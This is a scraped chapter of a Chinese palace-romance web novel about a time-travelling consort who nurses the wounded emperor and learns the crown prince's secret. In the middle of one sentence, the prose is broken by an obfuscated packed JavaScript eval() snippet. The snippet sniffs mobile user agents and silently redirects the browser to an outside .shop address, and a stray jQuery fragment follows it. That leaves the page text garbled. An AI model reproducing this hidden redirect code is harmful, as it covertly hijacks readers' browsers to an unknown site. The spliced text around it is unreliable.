“对,我就如此在意。”
皇帝要是死了她还怎么回去。
皇帝要是死了她之前所做的一切都前功尽弃。
她无法与祁夜莲一个古代人如何解释,她想要回去。
回家去。
既然皇帝与她的家有牵扯,皇帝自己就对她很重要。
祁夜莲气急反笑:“只可惜你救不了他。”
鱼巧巧反驳道:“还有谢右青,他医术那么好一定可以的。”
祁夜莲道:“谢右青吗?恐怕你要失望了。”
鱼巧巧不解,骂道:“祁夜莲你真是个疯子。”
疯到连自己的亲人都杀。
祁夜莲冷冷一笑:“你以为皇帝他又是什么好人。”
鱼巧巧不为所动:“至少在我看来,皇帝是个好人。”
此话一出,不知为何祁夜莲却忽然红了眼眶,鱼巧巧以为是自己的话,说的无力反驳。
那知祁夜莲却丢下一句:“希望你知道真相后,不要后悔。”
转身扬长而去。
留下不明所以的鱼巧巧,想问他这话是什么意思,可酸软的四肢和疲惫的大脑不足以支撑鱼巧巧再另想其他。
小燕立马冲了进来:“娘娘,您没事吧。”
鱼巧巧无力道:“我没事。”
小燕担忧的看着自家主子:“娘娘,太子殿下到底和你说了什么啊?”
为何会被吓成这般模样。
鱼巧巧听罢赶忙道:“小燕,我们得赶快离开此处,回宫去。”
至少在宫中有各处大臣,太后在场,祁夜莲应该不会轻举妄动。
小燕道:“可如今陛下昏迷不醒。”
鱼巧巧道:“管不了,那么多了,现在就叫林谦安来,让他收拾东西赶快走,或许到了皇宫,太医院的太医们还有办法救治皇帝。”
之后便顺速的带了护卫和仆从收拾了马车行囊上了路。
祁夜玄被安置在一座宽敞的轿子内,里面铺满了软绵的锦垫。
全程鱼巧巧都在一旁守着,谢右青也在一旁随侍,时刻注意皇帝的状况。
祁夜玄胸口的伤处止住了血,身上却发了热。
一路上都未曾降过。
鱼巧巧只得不断的用冷帕敷在祁夜玄的额头上给他降温。
一会儿便换了好几趟水。
林谦安看着轿内情形,侧头看了看马背上的祁夜莲。
欲言又止,他原来原以为祁夜莲会趁机了断了皇帝性命。
未曾想听见鱼巧巧慌里慌张的下令备轿子回去,竟然如此轻松的将人放行了。
林谦安犹豫着对祁夜莲道:“陛下,我们现在要不要?”
做了个抹脖子的姿势。
祁夜莲冷冷瞥了林谦安一眼。
林谦安瞬间不再多言。
轿内却忽然传来一声轻咳。
紧接着鱼巧巧惊喜的声音便响了起来:“陛下,您终于醒了。”
祁夜玄眼珠动了动,口中却喃喃道:“苓儿”
手已经不自觉的抚摸上鱼巧巧的脸侧,鱼巧巧一怔。
陛下口中叫的名字是谁?
鱼巧巧不明所以,伸手触摸上皇帝额头,烫的要命。
她赶忙向一旁的谢右青求助,话还没开口,整个人却被祁夜玄拉了下来。
灼热的呼吸喷洒在鱼巧巧的脸侧,下一瞬,唇便被牢牢堵住了。
“唔——”
鱼巧巧用力挣了挣反而没有挣脱,没曾想皇帝受了伤力气还这般大。
好似要将鱼巧巧嵌入骨血中似的。
祁夜玄好像是得了什么至宝的虎,一下又一下的在鱼巧巧的唇上咬着。
咬的鱼巧巧很疼,口中唤着苓儿的名字,却一直没有停。
“苓儿,朕还以为你生朕的气,再也理朕了。”
“你可知朕有多想你爱不。”
“不要离开朕了好不好。”
鱼巧巧心中默念着这个名字。
苓儿?
祁夜玄的白月光吗?
未曾想平日里庄严肃穆的皇帝,生病后竟然是这个样子。
没有得到自己想要的回应,祁夜玄又加重了力道,在鱼巧巧的唇上重重咬了一口。
鱼巧巧吃疼,如梦初醒慌忙应道:—妾不走,妾就在这里守着陛下。”
原本被禁锢的腰身,被缓缓放松了下来。
耳边忽然响起系统的提示音:“恭喜宿主,攻略对象好感度+20%。”
鱼巧巧一惊:这么多。
鱼巧巧心中问道:“如今皇帝对我的好感度是百分之多少?”
系统道:“攻略对象当前好感度百分之45,请宿主再接再厉哦。”
鱼巧巧一下子萎靡了,才百分之45,要祁夜玄对自己的好感度达到百分之百才能回去。
还差好多。
方才忽然增长的好感度,鱼巧巧想到方才皇帝口中所喊的苓儿。
到底是谁?
或许她攻略成功的关键就在于她。
夜半马车才终于回了宫中,此时的陛下早已经又昏了过去。
只是鱼巧巧的一只手还被皇帝死死攥着,没法挣脱。
无奈鱼巧巧只能一路随行。
听闻陛下回来,宫内一行人都开始忙碌起来,迎接的迎接,收拾东西的收拾东西。
在皇帝遇刺之后,消息便已经风风火火的传入皇宫。
太后得知后,心急如焚的想要知道皇帝近况,如今回来,刚安置好,便瞧见了太后,匆忙赶了过来。
看着躺在榻上还昏迷不醒的话皇帝,竟完全不顾皇家体统哀嚎起来。
鱼巧巧站在旁边想躲,却也没办法躲,只得在一旁听着。
太后嚎够了,方想牵儿子的手,转眼发现,皇帝的手正死死攥着鱼巧巧的手,不肯撒开。
太后眼里的泪瞬间退了回去,目光盯盯看着鱼巧巧被拉着手。
鱼巧巧直觉如芒在背。
太后忽然道:“听闻此次皇帝遇难是因为救你。”
鱼巧巧硬着头皮回答道:“陛下确实是为妾所伤。”
转而鱼巧巧还是忍不住反驳道:“但后来被谢右青发现是因为马匹上被下了药粉,才会如此,而且在那之后妾与陛下遇到了刺客。正是那些刺客将陛下所伤。”
太后一怔:“你说的可是真的。”
鱼巧巧见太后听进去了,再接再厉道:“太后就不想知道是谁伤了陛下?”
太后道:“鱼妃难道你知道是谁伤了陛下?”
鱼巧巧:“是——”
“皇祖母莫要担心,孙儿已经在派人查了,想来要不了多久,就能找到伤害陛下的凶手。”
祁夜莲的忽然闯入打断了鱼巧巧的话。
“太子殿下。”
原本要说出口的太子殿下四字,如今听来却忽然见到了来人的下意识回应。
太后转身看了眼身侧的鱼巧巧,转而看向自己的孙儿:“太子,怎么来了?”
祁夜莲行礼道:“孙儿担心父皇,所以前来看看。”
太后欣慰道:“你担忧皇帝也算是有心了,如今皇帝昏迷朝中上下自由你来管理,可莫要出了差错。”
鱼巧巧听此一口气差点没有喘上来,倘若太后知道自己这孙儿就是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788083|210245||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
杀害自己儿子的罪魁祸首该作何感想。
鱼巧巧握紧的拳,心中将祁夜莲骂了又骂。
可冷静下来又想,就算她把这个事情说出来,真的会有人信吗?
试问天下那个孩子会杀自己的父母。
倘若是为了皇权,皇帝膝下如今只有他一子,大可以等皇帝去了名正言顺的继承皇位。
可为什么?
原本的思路被打破,鱼巧巧整个人像是走进了死胡同。
怎么想都毫无头绪,像一只无头苍蝇一般闷头乱撞。
太后道:“既如此哀家,鱼妃你就在这里好好看顾皇帝,有什么事情及时汇报哀家。”
“是。”
太后走后,祁夜莲也收起了原本和善的嘴脸。
祁夜莲道:“不曾想母妃居然想要告密,只可惜在这宫中更是没人能帮你。”
鱼巧巧骂了句:“无耻。”
祁夜莲无所谓道:“无耻,这有什么无耻的。”
鱼巧巧蹙眉看着祁夜莲,最终还是忍不住问道:“皇帝在昏迷时,喊了一个人名字。”
鱼巧巧明显感觉到祁夜莲身体僵了一瞬。
鱼巧巧追问道:“你知道是谁对不对?”
祁夜莲看着她道:“你真的想知道她是谁?”
鱼巧巧固执的道:“我想知道。或许这个人事关陛下心结,我若是能帮助一二,陛下的病说不定也能早日恢复。”
祁夜莲未曾想到都此时了鱼巧巧还想为皇帝病情开解。
垂眸看了眼,皇帝与鱼巧巧两人紧攥的手。
祁夜莲上前一步,抬手掐住鱼巧巧的脸颊,盯着她的目光一字一顿道:“既然母妃如此想知道我告诉你也无妨。”
“皇帝口中喊的是我生母的名讳。”
鱼巧巧愣愣道:“你的母亲?”
她如何也没想到居然是太子的母妃。
但细细想来也是合理,之前就听闻祁夜莲母亲早逝,只留下年仅六岁的祁夜莲一人。
心上人离世,独留一个孩子尚在人间,也不怪民间都说皇帝对太子疼爱有加。
太子之位从一开始便直接给了祁夜莲。
而在那之后宫中也再无其他皇子出生。
可见皇帝对祁夜莲母亲的痴缠。
祁夜莲见鱼巧巧眼中眸光闪烁变化,口中却未置一词。
反唇讥笑道:“怎么自己心心念念的心上人,昏迷时念的却是旁人的名字心中不好受吧。”
鱼巧巧道:“没有。”
鱼巧巧诚实的回答放在祁夜莲口中却成了嘴硬强撑。
话到此处祁夜莲干脆也没有什么好顾忌的了。
“那你可知,你为何能被选入宫中?”
鱼巧巧心中吐槽:除了倒霉还能是因为什么?
她就是倒了八辈子霉,才会莫名其妙的穿越到这个鬼地方,莫名其妙的结束那个鬼系统的攻略任务。
鱼巧巧仍旧不回答,祁夜莲道:“你父亲不过是一个小小侍郎,你以为单凭你的家世就能如此轻易被太后选中进入宫中。”
祁夜莲步步紧逼,一字一句的质问,都将鱼巧巧逼到尘埃。
这些问题她原本也都没有想过,不过是自己倒霉机缘巧合被纳入了宫中罢了。
可听祁夜莲如今口中所说,心头颤动,几乎所有的答案都呼之欲出,就只等着她伸手戳摸。
鱼巧巧终于开口问道:“那是因为什么?”
屋外忽然下起了倾盆大雨,轰隆隆的闪电自天空滑下,映照出祁夜莲轻微勾起的卑劣嘴角。
“不过是因为你这张,与本宫母妃酷似的容颜罢了。”